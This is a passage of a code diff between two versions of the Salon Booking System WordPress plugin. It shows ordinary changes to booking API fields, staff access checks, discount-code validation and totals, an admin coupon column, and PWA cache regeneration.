__(sprintf('%s', $field['label']), 'salon-booking-system'),\n+                'type'        => $field['type'],\n+                'is_customer' => (bool) $field->isCustomer(),\n             );\n         }\n \n@@ -914,6 +902,7 @@\n             'currency'            => SLN_Plugin::getInstance()->getSettings()->getCurrencySymbol(),\n             'transaction_id'      => $booking->getTransactionId(),\n             'note'                => $booking->getNote(),\n+            'admin_note'          => $booking->getAdminNote(),\n             'no_show'             => get_post_meta($booking->getId(), 'no_show', true) == 1,\n             'rating'              => $booking->getRating(),\n             'feedback'            => $this->get_booking_feedback($booking->getId()),\n@@ -1103,6 +1092,24 @@\n \n         try {\n             $booking = $this->prepare_item_for_response(current($query->posts), $request);\n+\n+            $currentUserRoles = wp_get_current_user()->roles;\n+            if (in_array(SLN_Plugin::USER_ROLE_STAFF, $currentUserRoles) || in_array(SLN_Plugin::USER_ROLE_WORKER, $currentUserRoles)) {\n+                $plugin        = SLN_Plugin::getInstance();\n+                $assistantsIDs = array();\n+                $attendants    = $plugin->getRepository(SLN_Plugin::POST_TYPE_ATTENDANT)->getAll();\n+\n+                foreach ($attendants as $attendant) {\n+                    if ($attendant->getMeta('staff_member_id') == get_current_user_id() && $attendant->getIsStaffMemberAssignedToBookingsOnly()) {\n+                        $assistantsIDs[] = $attendant->getId();\n+                    }\n+                }\n+\n+                if (!empty($assistantsIDs) && !array_intersect($assistantsIDs, $booking->getAttendantsIds())) {\n+                    return new WP_Error( 'salon_rest_cannot_view', __( 'Sorry, resource not found.', 'salon-booking-system' ), array( 'status' => 404 ) );\n+                }\n+            }\n+\n             $booking = $this->prepare_response_for_collection($booking);\n         } catch (\\Exception $ex) {\n             return new WP_Error( 'salon_rest_cannot_view', __( sprintf('Sorry, get resource error (%s).', $ex->getMessage()), 'salon-booking-system' ), array( 'status' => 404 ) );\n@@ -1373,6 +1380,7 @@\n             '_sln_booking_services_resources' => $bb->getResources(),\n             '_sln_booking_discounts' => $request->get_param('discounts'),\n             '_sln_booking_note'      => $request->get_param('note'),\n+            '_sln_booking_admin_note' => $request->get_param('admin_note'),\n         );\n \n         $booking_fields  = SLN_Enum_CheckoutFields::forBooking();\n@@ -1416,6 +1424,13 @@\n             throw new \\Exception(esc_html__( 'Save post error.', 'salon-booking-system' ));\n         }\n \n+        \u002F\u002F Explicitly persist admin_note as a safeguard against meta_input being\n+        \u002F\u002F silently dropped by caching plugins or wp_insert_post_data filters.\n+        $admin_note_value = $request->get_param('admin_note');\n+        if ( $admin_note_value !== null ) {\n+            update_post_meta( $id, '_sln_booking_admin_note', $admin_note_value );\n+        }\n+\n         $booking = $this->prepare_item_for_response($id, $request);\n \n         do_action('sln.api.booking.pre_eval', $booking, $request->get_param('discounts'));\n@@ -1832,6 +1847,15 @@\n                     'arg_options' => array(\n                         'sanitize_callback' => 'sanitize_text_field',\n                         'default'           => '',\n+                    ),\n+                ),\n+                'admin_note' => array(\n+                    'description' => __( 'The admin note for the booking.', 'salon-booking-system' ),\n+                    'type'        => 'string',\n+                    'context'     => array( 'view', 'edit' ),\n+                    'arg_options' => array(\n+                        'sanitize_callback' => 'sanitize_text_field',\n+                        'default'           => '',\n                     ),\n                 ),\n                 'custom_fields' => array(\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FCustomFields_Controller.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -31,8 +31,17 @@\n     {\n         $user_profile = $request->get_param('user_profile');\n         $customer_id = $request->get_param('customer_id');\n-        $fields          = array();\n-        $booking_fields  = SLN_Enum_CheckoutFields::forBooking();\n+        $fields       = array();\n+        \u002F*\n+         * Booking\u002Fcheckout flows use forBooking() (excludes booking_hidden fields).\n+         * WP admin \"Edit Customer\" uses forCustomer() — it includes additional fields\n+         * that are on the customer profile even when \"hidden on booking\" (booking_hidden).\n+         * PWA CustomerDetails passes user_profile=1; use the same field set as admin\n+         * so Extra Info is not empty for those salons.\n+         *\u002F\n+        $booking_fields = $user_profile\n+            ? SLN_Enum_CheckoutFields::forCustomer()\n+            : SLN_Enum_CheckoutFields::forBooking();\n \n         foreach ( $booking_fields as $field ) {\n             if ($field->isAdditional() && (!$user_profile || $field->isCustomer())) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_Discount\u002FAction\u002FAjax\u002FApplyDiscountCode.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -31,10 +31,22 @@\n \t\t);\n \t\t$discounts = $plugin->getRepository(SLB_Discount_Plugin::POST_TYPE_DISCOUNT)->get($criteria);\n \t\t\n-\t\t\u002F\u002F FIX: Try to get the last booking first, if not available use the booking builder\n-\t\t\u002F\u002F This handles both cases: booking already created (DRAFT) or still in progress\n \t\t$bookingBuilder = $plugin->getBookingBuilder();\n-\t\t$bb = $bookingBuilder->getLastBooking();\n+\n+\t\t\u002F\u002F Prefer the explicit booking ID from the form — same approach as ApplyTipsAmount.\n+\t\t\u002F\u002F The session\u002Ftransient last_id can be stale (a previous booking), which causes\n+\t\t\u002F\u002F the discount to be validated and totals to be computed against the wrong booking.\n+\t\t$bb = null;\n+\t\tif ( isset( $_POST['sln_booking_id'] ) ) {\n+\t\t\t$bookingId = intval( $_POST['sln_booking_id'] );\n+\t\t\tif ( $bookingId > 0 ) {\n+\t\t\t\t$bb = $plugin->createBooking( $bookingId );\n+\t\t\t\tSLN_Plugin::addLog( '[ApplyDiscountCode] Resolved booking #' . $bookingId . ' from POST sln_booking_id' );\n+\t\t\t}\n+\t\t}\n+\t\tif ( ! $bb ) {\n+\t\t\t$bb = $bookingBuilder->getLastBooking();\n+\t\t}\n \t\t\n             \u002F\u002F If no saved booking exists, the booking is still in progress in the builder\n \t\t\u002F\u002F Create a temporary booking object from the builder data for discount validation\n@@ -58,9 +70,11 @@\n \t\t\t\t\t);\n \t\t\t\t}\n \t\t\t} else {\n-\t\t\t\t\u002F\u002F Create the booking now so we can apply the discount to it\n+\t\t\t\t\u002F\u002F Create the booking now so we can apply the discount to it.\n+\t\t\t\t\u002F\u002F create() returns void; lastId is set inside create — same pattern as SummaryStep::dispatchForm().\n \t\t\t\ttry {\n-\t\t\t\t\t$bb = $bookingBuilder->create(SLN_Enum_BookingStatus::DRAFT);\n+\t\t\t\t\t$bookingBuilder->create(SLN_Enum_BookingStatus::DRAFT);\n+\t\t\t\t\t$bb = $bookingBuilder->getLastBooking();\n \t\t\t\t} catch (Exception $e) {\n \t\t\t\t\t$this->addError(__('Unable to process discount. Please try again.', 'salon-booking-system'));\n \t\t\t\t\treturn array(\n@@ -80,47 +94,56 @@\n \t\t\t);\n \t\t}\n \t\t\n+\t\t\u002F\u002F $evalAmount holds the freshly-computed total so both error and success\n+\t\t\u002F\u002F responses use it directly, bypassing any stale meta read.\n+\t\t$evalAmount    = 0;\n+\t\t$discountValue = 0;\n+\n \t\tif (!empty($discounts)) {\n \t\t\t\u002F** @var SLB_Discount_Wrapper_Discount $discount *\u002F\n \t\t\t$discount = reset($discounts);\n-\t\t\t\n \n-\t\t\t$errors   = $discount->validateDiscountFullForBB($bb);\n+\t\t\t$errors = $discount->validateDiscountFullForBB($bb);\n \t\t\tif (empty($errors)) {\n \t\t\t\tdo_action('sln.api.booking.pre_eval', $bb, $discounts);\n-\t\t\t\t$bb->evalTotal();\n+\t\t\t\t$evalAmount    = $bb->evalTotal();\n \t\t\t\t$discountValue = array_sum($bb->getMeta('discount_amount'));\n-\t\t\t}\n-\t\t\telse {\n+\t\t\t} else {\n \t\t\t\t$this->addError(reset($errors));\n+\t\t\t\t\u002F\u002F Recompute without the (invalid) discount so the error response\n+\t\t\t\t\u002F\u002F shows the correct current total (including any tips already applied).\n+\t\t\t\t$evalAmount = $bb->evalTotal();\n \t\t\t}\n-\t\t}\n-\t\telse {\n+\t\t} else {\n \t\t\t$this->addError(__('Coupon is not valid', 'salon-booking-system'));\n \t\t\tdo_action('sln.api.booking.pre_eval', $bb, array());\n-\t\t\t$bb->evalTotal();\n+\t\t\t$evalAmount = $bb->evalTotal();\n \t\t}\n \n+\t\t$fee         = SLN_Helper_TransactionFee::getFee($evalAmount);\n+\t\t$totalToPay  = $evalAmount + $fee;\n+\n \t\tif ($errors = $this->getErrors()) {\n-\t\t\t$ret = compact('errors');\n-\t\t\t$ret['total'] = $plugin->format()->money($bb->getToPayAmount(false), false, false, true);\n-\t\t\t$ret['button'] = $plugin->loadView('shortcode\u002F_salon_summary_next_button', array('plugin' => $plugin));\n+\t\t\t$ret          = compact('errors');\n+\t\t\t\u002F\u002F Use the freshly-computed total — avoids stale meta returning £0 or\n+\t\t\t\u002F\u002F a negative value when the previous evalTotal() never saved to cache.\n+\t\t\t$ret['total'] = $plugin->format()->money($totalToPay, false, false, true);\n+\t\t\t\u002F\u002F Do not replace the summary \"next\" button on error: that container holds\n+\t\t\t\u002F\u002F the full payment UI (renderPayButton). salon-discount.js would .html() it away.\n \t\t} else {\n-            $paymentMethod = $plugin->getSettings()->isPayEnabled() ? SLN_Enum_PaymentMethodProvider::getService($plugin->getSettings()->getPaymentMethod(), $plugin) : false;\n-\n+\t\t\t$paymentMethod = $plugin->getSettings()->isPayEnabled() ? SLN_Enum_PaymentMethodProvider::getService($plugin->getSettings()->getPaymentMethod(), $plugin) : false;\n \n-            $ret = array(\n+\t\t\t$ret = array(\n \t\t\t\t'success'  => 1,\n \t\t\t\t'discount' => $plugin->format()->money($discountValue, false, false, true),\n-\t\t\t\t'total'    => $plugin->format()->money($bb->getToPayAmount(false), true, false, true),\n+\t\t\t\t'total'    => $plugin->format()->money($totalToPay, true, false, true),\n \t\t\t\t'errors'   => array(\n \t\t\t\t\t__('Coupon was applied', 'salon-booking-system')\n \t\t\t\t)\n \t\t\t);\n-\t\t\tif($bb->getToPayAmount(false) \u003C= 0.0){\n+\t\t\tif ($totalToPay \u003C= 0.0) {\n \t\t\t\t$ret['button'] = $plugin->loadView('shortcode\u002F_salon_summary_next_button', array('plugin' => $plugin));\n \t\t\t}\n-\n \t\t}\n \n \t\treturn $ret;\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_Discount\u002FPlugin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_Discount\u002FPlugin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_Discount\u002FPlugin.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_Discount\u002FPlugin.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -71,7 +71,7 @@\n \t\tadd_action('admin_init', array($this, 'hook_admin_init'));\n \n \t\tadd_action('admin_enqueue_scripts', array($this, 'hook_admin_enqueue_scripts'));\n-\t\tadd_action('wp_enqueue_scripts', array($this, 'hook_wp_enqueue_scripts'));\n+\t\tadd_action('wp_enqueue_scripts', array($this, 'hook_wp_enqueue_scripts'), 100000);\n \n \t\tadd_filter('sln.func.isSalonPage', array($this, 'hook_isSalonPage'));\n \n@@ -161,8 +161,17 @@\n \t\t$data[\"discounts\"] = array();\n \t\t$discountValues = 0;\n \t\t$first = true;\n+\t\t$bookingTimestamp = $booking->getDate() ? $booking->getDate()->getTimestamp() : (new SLN_DateTime())->getTimestamp();\n \t\tforeach ($discounts as $discountId) {\n \t\t\t$discount        = $dRepo->create($discountId);\n+\n+\t\t\t\u002F\u002F Skip expired or otherwise invalid discounts.\n+\t\t\t$discountErrors = $discount->validateDiscount($bookingTimestamp);\n+\t\t\tif (!empty($discountErrors)) {\n+\t\t\t\tSLN_Plugin::addLog(sprintf('[Discount] Skipping invalid discount %d (admin path) for booking %d: %s', $discountId, $booking->getId(), implode(', ', $discountErrors)));\n+\t\t\t\tcontinue;\n+\t\t\t}\n+\n \t\t\t$discountValues  = $discount->applyDiscountToBookingServices($bookingServices, true,  $booking->getAttendantsIds());\n \n \t\t\t$data[\"discounts\"][] = $discountId;\n@@ -339,6 +348,17 @@\n \t\t}\n \t\t$data = array('discounts' => array());\n \t\tif(!empty($discounts_to_increment)){\n+\t\t\t\u002F\u002F Filter out expired or otherwise invalid discounts before applying them.\n+\t\t\t$bookingTimestamp = $booking->getDate() ? $booking->getDate()->getTimestamp() : (new SLN_DateTime())->getTimestamp();\n+\t\t\t$discounts_to_increment = array_filter($discounts_to_increment, function($discount) use ($bookingTimestamp) {\n+\t\t\t\t$errors = $discount->validateDiscount($bookingTimestamp);\n+\t\t\t\tif (!empty($errors)) {\n+\t\t\t\t\tSLN_Plugin::addLog(sprintf('[Discount] Skipping invalid discount %d (API path): %s', $discount->getId(), implode(', ', $errors)));\n+\t\t\t\t\treturn false;\n+\t\t\t\t}\n+\t\t\t\treturn true;\n+\t\t\t});\n+\n \t\t\t\u002F\u002F Calculete discount data\n \t\t\tforeach($discounts_to_increment as $discount){\n \t\t\t\t$data['discounts'][] = $discount->getId();\n@@ -363,8 +383,8 @@\n \t\t\t\t\t}\n \t\t\t\t\t$data[\"discount_score\"] = array_merge(isset($data[\"discount_score\"]) ? $data[\"discount_score\"] : array(), $discountScores);\n \t\t\t\t}\n-\t\t\t\t\u002F\u002F$discount->incrementUsagesNumber($booking->getUserId());\n-\t\t\t\t\u002F\u002F$discount->incrementTotalUsagesNumber();\n+\t\t\t\t$discount->incrementUsagesNumber($booking->getUserId());\n+\t\t\t\t$discount->incrementTotalUsagesNumber();\n \t\t\t}\n \t\t\t\u002F\u002F Calculate new service price\n \t\t\tforeach($bookingServices->getItems() as $bookingService){\n@@ -410,7 +430,9 @@\n \t}\n \n \tpublic function hook_wp_enqueue_scripts() {\n-\t\twp_enqueue_script('salon-discount', SLN_PLUGIN_URL.'\u002Fjs\u002Fdiscount\u002Fsalon-discount.js', array('jquery'), false, true);\n+\t\t\u002F\u002F salon-discount.js is now enqueued via SLN_Action_InitScripts::preloadScripts()\n+\t\t\u002F\u002F which covers both the wp_enqueue_scripts path and the late preloadEnqueueScript()\n+\t\t\u002F\u002F path used by page builders (Kadence, Elementor, etc.).\n \t}\n \n \tpublic function hook_isSalonPage($ret) {\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_Discount\u002FPostType\u002FDiscount.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -16,6 +16,7 @@\n             add_filter('manage_edit-'.$this->getPostType().'_sortable_columns', array($this, 'custom_columns_sort'));\n             add_action('admin_head-post-new.php', array($this, 'posttype_admin_css'));\n             add_action('admin_head-post.php', array($this, 'posttype_admin_css'));\n+            add_action('admin_head', array($this, 'admin_list_coupon_column_styles'));\n             add_action('admin_enqueue_scripts', array($this, 'load_scripts'));\n             add_action('wp_ajax_sln_discount', array($this, 'ajax'));\n             add_filter('post_row_actions', array($this, 'post_row_actions'), 10, 2);\n@@ -37,9 +38,51 @@\n     {\n         wp_enqueue_script('jquery-ui-core');\n         wp_enqueue_script('jquery-ui-sortable');\n+        $screen = function_exists('get_current_screen') ? get_current_screen() : null;\n+        if ($screen && $screen->id === 'edit-' . $this->getPostType()) {\n+            wp_enqueue_script(\n+                'sln-discount-list',\n+                SLN_PLUGIN_URL . '\u002Fjs\u002Fdiscount\u002Fadmin-discount-list.js',\n+                array('jquery'),\n+                SLN_Action_InitScripts::ASSETS_VERSION,\n+                true\n+            );\n+            wp_localize_script(\n+                'sln-discount-list',\n+                'slnDiscountListL10n',\n+                array(\n+                    'copied'     => __('Copied!', 'salon-booking-system'),\n+                    'copyFailed' => __('Could not copy to clipboard.', 'salon-booking-system'),\n+                )\n+            );\n+        }\n+    }\n+\n+    \u002F**\n+     * Compact layout for coupon code + copy control on the discounts list table.\n+     *\u002F\n+    public function admin_list_coupon_column_styles()\n+    {\n+        if (!function_exists('get_current_screen')) {\n+            return;\n+        }\n         $screen = get_current_screen();\n-        if( $screen->id === 'edit-sln_discount'  && ! in_array(SLN_Plugin::USER_ROLE_WORKER,  wp_get_current_user()->roles) ){\n+        if (!$screen || $screen->id !== 'edit-' . $this->getPostType()) {\n+            return;\n         }\n+        echo '\u003Cstyle>\n+            .column-discount_coupon_code{width:14%;}\n+            .sln-discount-coupon-cell{display:inline-flex;align-items:center;gap:6px;flex-wrap:wrap;vertical-align:middle;}\n+            .sln-discount-coupon-code{font-size:13px;background:rgba(0,0,0,.04);padding:2px 6px;border-radius:2px;}\n+            .sln-copy-coupon-code{\n+                margin:0;padding:4px;border:none;background:transparent;box-shadow:none;border-radius:4px;\n+                line-height:0;color:#50575e;cursor:pointer;display:inline-flex;align-items:center;justify-content:center;\n+            }\n+            .sln-copy-coupon-code:hover,.sln-copy-coupon-code:focus{color:#2271b1;background:rgba(0,0,0,.04);box-shadow:none;}\n+            .sln-copy-coupon-code:focus{outline:1px solid #2271b1;outline-offset:1px;}\n+            .sln-copy-coupon-code .sln-copy-coupon-icon{display:block;}\n+            .sln-copy-coupon-code.sln-is-copied{color:#00a32a;}\n+        \u003C\u002Fstyle>';\n     }\n \n     public function ajax()\n@@ -69,10 +112,11 @@\n         $new_columns = array(\n             'cb' => $columns['cb'],\n             'title' => $columns['title'],\n+            'discount_coupon_code' => __('Coupon code', 'salon-booking-system'),\n             'discount_type' => __('Type', 'salon-booking-system'),\n             'discount_amount' => __('Amount', 'salon-booking-system'),\n             'active' => __('Active', 'salon-booking-system'),\n-            'discount_usages' => __('Discount usages', 'salon-booking-system'),\n+            'discount_usages' => __('Usage (used \u002F limit)', 'salon-booking-system'),\n         );\n \n         return $new_columns;\n@@ -82,6 +126,29 @@\n     {\n         $obj = SLB_Discount_Plugin::getInstance()->createDiscount($post_id);\n         switch ($column) {\n+            case 'discount_coupon_code':\n+                if ($obj->getDiscountType() !== SLB_Discount_Enum_DiscountType::DISCOUNT_CODE) {\n+                    echo '&mdash;';\n+                    break;\n+                }\n+                $coupon_code = $obj->getCouponCode();\n+                if ($coupon_code === '') {\n+                    echo '&mdash;';\n+                    break;\n+                }\n+                $copy_label = __('Copy to clipboard', 'salon-booking-system');\n+                \u002F\u002F Two overlapping sheets (standard “copy” glyph), stroke-only — no box border on the control.\n+                $copy_icon = '\u003Csvg class=\"sln-copy-coupon-icon\" xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"18\" height=\"18\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"1.5\" stroke-linecap=\"round\" stroke-linejoin=\"round\" aria-hidden=\"true\" focusable=\"false\">\u003Crect x=\"3\" y=\"7\" width=\"13\" height=\"13\" rx=\"2\" ry=\"2\"\u002F>\u003Crect x=\"8\" y=\"2\" width=\"13\" height=\"13\" rx=\"2\" ry=\"2\"\u002F>\u003C\u002Fsvg>';\n+                echo '\u003Cspan class=\"sln-discount-coupon-cell\">';\n+                echo '\u003Ccode class=\"sln-discount-coupon-code\">' . esc_html($coupon_code) . '\u003C\u002Fcode>';\n+                printf(\n+                    '\u003Cbutton type=\"button\" class=\"sln-copy-coupon-code\" data-code=\"%1$s\" title=\"%2$s\" data-default-title=\"%2$s\" aria-label=\"%2$s\">%3$s\u003C\u002Fbutton>',\n+                    esc_attr($coupon_code),\n+                    esc_attr($copy_label),\n+                    $copy_icon\n+                );\n+                echo '\u003C\u002Fspan>';\n+                break;\n             case 'discount_type':\n                 $type = SLB_Discount_Enum_DiscountType::getLabel($obj->getDiscountType());\n                 echo esc_html($type);\n@@ -100,7 +167,9 @@\n                 echo esc_html($status);\n                 break;\n             case 'discount_usages':\n-                echo esc_html($obj->getTotalUsagesNumber());\n+                $used  = (int) $obj->getTotalUsagesNumber();\n+                $limit = $obj->isUnlimitedTotalUsages() ? '&infin;' : (int) $obj->getTotalUsagesLimit();\n+                echo esc_html($used) . ' \u002F ' . ( is_int($limit) ? esc_html($limit) : $limit );\n                 break;\n         }\n     }\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002FPlugin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002FPlugin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002FPlugin.php\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002FPlugin.php\t2026-04-21 18:43:56.000000000 +0000\n@@ -18,10 +18,38 @@\n         return self::$instance;\n     }\n \n+    \u002F**\n+     * Drop regeneration transients so the next PWA load rewrites dist URLs from templates.\n+     * Call on plugin activation\u002Fupdate after shipping a new `pwa\u002Fdist` build.\n+     *\u002F\n+    public static function invalidate_dist_regeneration_cache() {\n+        global $wpdb;\n+        $like_val  = $wpdb->esc_like( '_transient_sln_pwa_dist_path_' ) . '%';\n+        $like_time = $wpdb->esc_like( '_transient_timeout_sln_pwa_dist_path_' ) . '%';\n+        \u002F\u002F phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching\n+        $wpdb->query( $wpdb->prepare( \"DELETE FROM {$wpdb->options} WHERE option_name LIKE %s OR option_name LIKE %s\", $like_val, $like_time ) );\n+    }\n+\n     private function __construct()\n     {\n+        add_action('plugins_loaded', array($this, 'maybe_invalidate_pwa_cache_on_version_change'), 5);\n         add_action('parse_request', array($this, 'render_page'));\n     }\n+\n+    \u002F**\n+     * After a plugin update, activation may not run; bump clears PWA dist regeneration transients once.\n+     *\u002F\n+    public function maybe_invalidate_pwa_cache_on_version_change() {\n+        if ( ! defined( 'SLN_VERSION' ) ) {\n+            return;\n+        }\n+        $opt_key = 'sln_pwa_dist_cache_plugin_version';\n+        $prev    = get_option( $opt_key, '' );\n+        if ( $prev !== SLN_VERSION ) {\n+            self::invalidate_dist_regeneration_cache();\n+            update_option( $opt_key, SLN_VERSION );\n+        }\n+    }\n     \n     \u002F**\n      * Ensure template files exist by copying from source files\n@@ -117,66 +145,80 @@\n         \u002F\u002F Cache key to track if files need regeneration\n         $cache_key = 'sln_pwa_dist_path_' . md5($dist_url_path);\n         $cached_path = get_transient($cache_key);\n-        \n-        \u002F\u002F Check if source files are newer than cache (e.g., after rebuild)\n-        $app_js_mtime = file_exists($app_js_path) ? filemtime($app_js_path) : 0;\n+\n+        $app_template_path = $dist_directory_path . '\u002Fjs\u002Fapp.template.js';\n         $cache_timestamp_key = $cache_key . '_timestamp';\n-        $cached_timestamp = get_transient($cache_timestamp_key);\n-        \n-        \u002F\u002F Regenerate if: path changed, cache expired, OR source files are newer than cache\n-        if ($cached_path !== $dist_url_path || $cached_timestamp \u003C $app_js_mtime) {\n-            \u002F\u002F Ensure template files exist (only create once)\n-            $this->ensure_templates_exist($dist_directory_path);\n-            \n-            \u002F\u002F Regenerate processed files with current path\n-            file_put_contents(\n-                $dist_directory_path . '\u002Fjs\u002Fapp.js', \n-                str_replace('{SLN_PWA_DIST_PATH}', $dist_url_path, \n-                    file_get_contents($dist_directory_path . '\u002Fjs\u002Fapp.template.js'))\n-            );\n-            \n-            $app_js_map_template = $dist_directory_path . '\u002Fjs\u002Fapp.js.template.map';\n-            if ( file_exists( $app_js_map_template ) ) {\n+        $cached_timestamp    = (int) get_transient($cache_timestamp_key);\n+\n+        $this->ensure_templates_exist($dist_directory_path );\n+\n+        \u002F\u002F Use *template* mtime, not processed app.js (PHP overwrites app.js each regen → mtime always \"new\" → regen every request).\n+        $template_source_mtime = file_exists( $app_template_path ) ? (int) filemtime( $app_template_path ) : 0;\n+\n+        \u002F\u002F Regenerate if site path changed, cache missing, or plugin shipped a newer webpack template build.\n+        if ( $cached_path !== $dist_url_path || $cached_timestamp \u003C $template_source_mtime ) {\n+            $tpl_js    = file_exists( $app_template_path ) ? (string) file_get_contents( $app_template_path ) : '';\n+            $tpl_sw    = file_exists( $dist_directory_path . '\u002Fservice-worker.template.js' )\n+                ? (string) file_get_contents( $dist_directory_path . '\u002Fservice-worker.template.js' )\n+                : '';\n+            $tpl_index = file_exists( $dist_directory_path . '\u002Findex.template.html' )\n+                ? (string) file_get_contents( $dist_directory_path . '\u002Findex.template.html' )\n+                : '';\n+\n+            $templates_ok = ( $tpl_js !== '' && strpos( $tpl_js, '{SLN_PWA_DIST_PATH}' ) !== false\n+                && $tpl_sw !== '' && strpos( $tpl_sw, '{SLN_PWA_DIST_PATH}' ) !== false\n+                && $tpl_index !== '' && strpos( $tpl_index, '{SLN_PWA_DIST_PATH}' ) !== false );\n+\n+            if ( ! $templates_ok ) {\n+                \u002F\u002F phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log\n+                error_log( 'SLB_PWA: dist templates missing {SLN_PWA_DIST_PATH}. Run npm run build in src\u002FSLB_PWA\u002Fpwa\u002F. Skipping dist URL rewrite.' );\n+            } else {\n                 file_put_contents(\n-                    $dist_directory_path . '\u002Fjs\u002Fapp.js.map',\n-                    str_replace(\n-                        '{SLN_PWA_DIST_PATH}',\n-                        $dist_url_path,\n-                        file_get_contents( $app_js_map_template )\n-                    )\n+                    $dist_directory_path . '\u002Fjs\u002Fapp.js',\n+                    str_replace( '{SLN_PWA_DIST_PATH}', $dist_url_path, $tpl_js )\n                 );\n-            }\n \n-            file_put_contents(\n-                $dist_directory_path . '\u002Fservice-worker.js', \n-                str_replace('{SLN_PWA_DIST_PATH}', $dist_url_path, \n-                    file_get_contents($dist_directory_path . '\u002Fservice-worker.template.js'))\n-            );\n-            \n-            $sw_map_template = $dist_directory_path . '\u002Fservice-worker.js.template.map';\n-            if ( file_exists( $sw_map_template ) ) {\n+                $app_js_map_template = $dist_directory_path . '\u002Fjs\u002Fapp.js.template.map';\n+                if ( file_exists( $app_js_map_template ) ) {\n+                    file_put_contents(\n+                        $dist_directory_path . '\u002Fjs\u002Fapp.js.map',\n+                        str_replace(\n+                            '{SLN_PWA_DIST_PATH}',\n+                            $dist_url_path,\n+                            file_get_contents( $app_js_map_template )\n+                        )\n+                    );\n+                }\n+\n                 file_put_contents(\n-                    $dist_directory_path . '\u002Fservice-worker.js.map',\n+                    $dist_directory_path . '\u002Fservice-worker.js',\n+                    str_replace( '{SLN_PWA_DIST_PATH}', $dist_url_path, $tpl_sw )\n+                );\n+\n+                $sw_map_template = $dist_directory_path . '\u002Fservice-worker.js.template.map';\n+                if ( file_exists( $sw_map_template ) ) {\n+                    file_put_contents(\n+                        $dist_directory_path . '\u002Fservice-worker.js.map',\n+                        str_replace(\n+                            '{SLN_PWA_DIST_PATH}',\n+                            $dist_url_path,\n+                            file_get_contents( $sw_map_template )\n+                        )\n+                    );\n+                }\n+\n+                file_put_contents(\n+                    $dist_directory_path . 